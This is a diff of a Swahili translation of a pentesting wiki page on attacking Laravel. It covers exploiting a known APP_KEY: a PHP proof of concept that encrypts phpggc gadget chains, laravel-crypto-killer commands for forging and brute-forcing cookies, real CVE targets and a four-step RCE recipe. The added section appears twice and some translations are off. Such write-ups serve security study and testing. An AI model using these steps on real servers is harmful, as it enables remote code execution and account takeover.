Translated ['src/network-services-pentesting/pentesting-web/laravel.md']

src/network-services-pentesting/pentesting-web/laravel.md

@@ -1,13 +1,98 @@
 # Laravel
 
+{{#include /banners/hacktricks-training.md}}
+
+### Laravel SQLInjection
+
+Soma habari kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
+
+---
+
+## APP_KEY & Encryption internals (Laravel \u003e=5.6)
+
+Laravel inatumia AES-256-CBC (au GCM) na HMAC integrity chini ya uso (`Illuminate\\Encryption\\Encrypter`).
+Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha JSON** kama:
+```json
+{
+"iv"   : "Base64(random 16-byte IV)",
+"value": "Base64(ciphertext)",
+"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
+"tag"  : ""                 // only used for AEAD ciphers (GCM)
+}
+```
+`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **ita `unserialize()`** thamani iliyokolewa. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichohifadhiwa cha PHP kilichosimbwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.
+
+Minimal PoC (framework ≥9.x):
+```php
+use Illuminate\Support\Facades\Crypt;
+
+$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
+$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
+```
+Ingiza string iliyozalishwa kwenye chochote kilichovuja `decrypt()` sink (paramu ya njia, cookie, kikao, …).
+
+---
+
+## laravel-crypto-killer 🧨
+[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) inafanya mchakato mzima kuwa wa kiotomatiki na kuongeza hali rahisi ya **bruteforce**:
+```bash
+# Encrypt a phpggc chain with a known APP_KEY
+laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
+
+# Decrypt a captured cookie / token
+laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
+
+# Try a word-list of keys against a token (offline)
+laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
+```
+The script inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja wa HMAC/tag.
+
+---
+
+## Mifano halisi ya udhaifu
+
+| Mradi | Kitu kilichoharibika | Mnyororo wa gadget |
+|-------|----------------------|--------------------|
+| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
+| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie wakati `Passport::withCookieSerialization()` imewezeshwa | Laravel/RCE9 |
+| Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
+
+Mchakato wa unyakuzi daima ni:
+1. Pata `APP_KEY` (mfano wa chaguo-msingi, kuvuja kwa Git, kuvuja kwa config/.env, au brute-force)
+2. Zalisha gadget na **PHPGGC**
+3. `laravel_crypto_killer.py encrypt …`
+4. Toa payload kupitia parameter/cookie iliyoathirika → **RCE**
+
+---
+
+## Ugunduzi wa wingi wa APP_KEY kupitia brute-force ya cookie
+
+Kwa sababu kila jibu jipya la Laravel linaweka angalau cookie 1 iliyosimbwa (`XSRF-TOKEN` na kawaida `laravel_session`), **scanner za umma za mtandao (Shodan, Censys, …) zinavuja mamilioni ya ciphertexts** ambazo zinaweza kushambuliwa bila mtandao.
+
+Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):
+* Dataset Julai 2024 » 580 k tokens, **3.99 % funguo zimevunjwa** (≈23 k)
+* Dataset Mei 2025 » 625 k tokens, **3.56 % funguo zimevunjwa**
+* >1 000 seva bado zina udhaifu kwa CVE-2018-15133 ya zamani kwa sababu tokens moja kwa moja zina data iliyosimbwa.
+* Matumizi makubwa ya funguo – Top-10 APP_KEYs zimeandikwa kwa chaguo-msingi ambazo zimesambazwa na templeti za kibiashara za Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
+
+Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM bruteforce hadi ~1.5 bilioni majaribio/s, ikipunguza uvunjaji wa dataset kamili kuwa <2 dakika.
+
+---
+
+## Marejeleo
+* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
+* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
+* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
+* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
+
 {{#include ../../banners/hacktricks-training.md}}
 
 
-## Laravel Tricks
+## Hila za Laravel
 
-### Debugging mode
+### Hali ya upelelezi
 
-Ikiwa Laravel iko katika **debugging mode** utaweza kufikia **code** na **data nyeti**.\
+Ikiwa Laravel iko katika **hali ya upelelezi** utaweza kufikia **kod** na **data nyeti**.\
 Kwa mfano `http://127.0.0.1:8000/profiles`:
 
 ![](<../../images/image (1046).png>)
@@ -16,13 +101,13 @@ Hii kwa kawaida inahitajika kwa ajili ya kutumia CVEs nyingine za Laravel RCE.
 
 ### .env
 
-Laravel huhifadhi APP inayotumiwa kuandika siri za kuki na akreditivu zingine ndani ya faili inayoitwa `.env` ambayo inaweza kufikiwa kwa kutumia njia fulani ya kupita: `/../.env`
+Laravel huhifadhi APP inayotumia kusimbua cookies na akreditif nyingine ndani ya faili inayoitwa `.env` ambayo inaweza kufikiwa kwa kutumia baadhi ya njia za kupita: `/../.env`
 
-Laravel pia itaonyesha habari hii ndani ya ukurasa wa debug (ambao unaonekana wakati Laravel inapata kosa na umewezeshwa).
+Laravel pia itaonyesha habari hii ndani ya ukurasa wa upelelezi (ambao unaonekana wakati Laravel inapata kosa na umewezeshwa).
 
-Kwa kutumia APP_KEY ya siri ya Laravel unaweza kufungua na kuandika tena kuki: 
+Kwa kutumia APP_KEY ya siri ya Laravel unaweza kusimbua na kusimbua tena cookies:
 
-### Decrypt Cookie
+### Futa Cookie
 ```python
 import os
 import json
@@ -88,7 +173,7 @@ Toleo lenye udhaifu: 5.5.40 na 5.6.x kupitia 5.6.29 ([https://www.cvedetails.com
 Hapa unaweza kupata taarifa kuhusu udhaifu wa deserialization hapa: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
 
 Unaweza kujaribu na kutumia kwa kutumia [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
-Au unaweza pia kutumia kwa metasploit: `use unix/http/laravel_token_unserialize_exec`
+Au unaweza pia kutumia metasploit: `use unix/http/laravel_token_unserialize_exec`
 
 ### CVE-2021-3129
 
@@ -98,5 +183,87 @@ Deserialization nyingine: [https://github.com/ambionics/laravel-exploits](https:
 
 Soma taarifa kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
 
+### Laravel SQLInjection
+
+Soma taarifa kuhusu hii hapa: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
+
+---
+
+## APP_KEY & Encryption internals (Laravel \u003e=5.6)
+
+Laravel inatumia AES-256-CBC (au GCM) na HMAC integrity chini ya uso (`Illuminate\\Encryption\\Encrypter`).
+Ciphertext safi ambayo hatimaye **inatumwa kwa mteja** ni **Base64 ya kitu cha JSON** kama:
+```json
+{
+"iv"   : "Base64(random 16-byte IV)",
+"value": "Base64(ciphertext)",
+"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
+"tag"  : ""                 // only used for AEAD ciphers (GCM)
+}
+```
+`encrypt($value, $serialize=true)` itafanya `serialize()` maandiko ya wazi kwa chaguo-msingi, wakati `decrypt($payload, $unserialize=true)` **ita `unserialize()`** thamani iliyokolewa kiotomatiki. Hivyo basi **mshambuliaji yeyote anayejua siri ya byte 32 `APP_KEY` anaweza kuunda kitu kilichohifadhiwa cha PHP kilichosimbwa na kupata RCE kupitia mbinu za kichawi (`__wakeup`, `__destruct`, …)**.
+
+Minimal PoC (framework ≥9.x):
+```php
+use Illuminate\Support\Facades\Crypt;
+
+$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
+$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste
+```
+Ingiza mfuatano uliozalishwa kwenye chochote kilicho hatarini `decrypt()` sink (paramu ya njia, cookie, kikao, …).
+
+---
+
+## laravel-crypto-killer 🧨
+[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) inaweka mchakato mzima kuwa otomatiki na kuongeza hali rahisi ya **bruteforce**:
+```bash
+# Encrypt a phpggc chain with a known APP_KEY
+laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
+
+# Decrypt a captured cookie / token
+laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
+
+# Try a word-list of keys against a token (offline)
+laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
+```
+The script inasaidia kwa uwazi payloads za CBC na GCM na inazalisha tena uwanja wa HMAC/tag.
+
+---
+
+## Mifano halisi ya udhaifu
+
+| Mradi | Kitu kilichoharibika | Mnyororo wa gadget |
+|-------|----------------------|--------------------|
+| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
+| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie wakati `Passport::withCookieSerialization()` imewezeshwa | Laravel/RCE9 |
+| Crater  (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
+
+Mchakato wa unyakuzi daima ni:
+1. Pata `APP_KEY` (mfano wa chaguo-msingi, uvujaji wa Git, uvujaji wa config/.env, au brute-force)
+2. Zalisha gadget na **PHPGGC**
+3. `laravel_crypto_killer.py encrypt …`
+4. Toa payload kupitia parameter/cookie iliyo hatarini → **RCE**
+
+---
+
+## Ugunduzi wa wingi wa APP_KEY kupitia brute-force ya cookie
+
+Kwa sababu kila jibu jipya la Laravel linaweka angalau cookie 1 iliyosimbwa (`XSRF-TOKEN` na kawaida `laravel_session`), **scanner za umma za mtandao (Shodan, Censys, …) zinavuja mamilioni ya ciphertexts** ambazo zinaweza kushambuliwa bila mtandao.
+
+Matokeo muhimu ya utafiti uliochapishwa na Synacktiv (2024-2025):
+* Dataset Julai 2024 » 580 k tokens, **3.99 % funguo zimevunjwa** (≈23 k)
+* Dataset Mei 2025 » 625 k tokens, **3.56 % funguo zimevunjwa**
+* >1 000 seva bado zina udhaifu kwa CVE-2018-15133 ya zamani kwa sababu tokens moja kwa moja zina data iliyosimbwa.
+* Matumizi makubwa ya funguo – Top-10 APP_KEYs zimeandikwa kwa chaguo-msingi ambazo zimesambazwa na templeti za kibiashara za Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
+
+Zana ya kibinafsi ya Go **nounours** inasukuma throughput ya AES-CBC/GCM bruteforce hadi ~1.5 bilioni majaribio/s, ikipunguza uvunjaji wa dataset kamili hadi <2 dakika.
+
+---
+
+## Marejeleo
+* [Laravel: APP_KEY leakage analysis](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
+* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
+* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
+* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
 
 {{#include ../../banners/hacktricks-training.md}}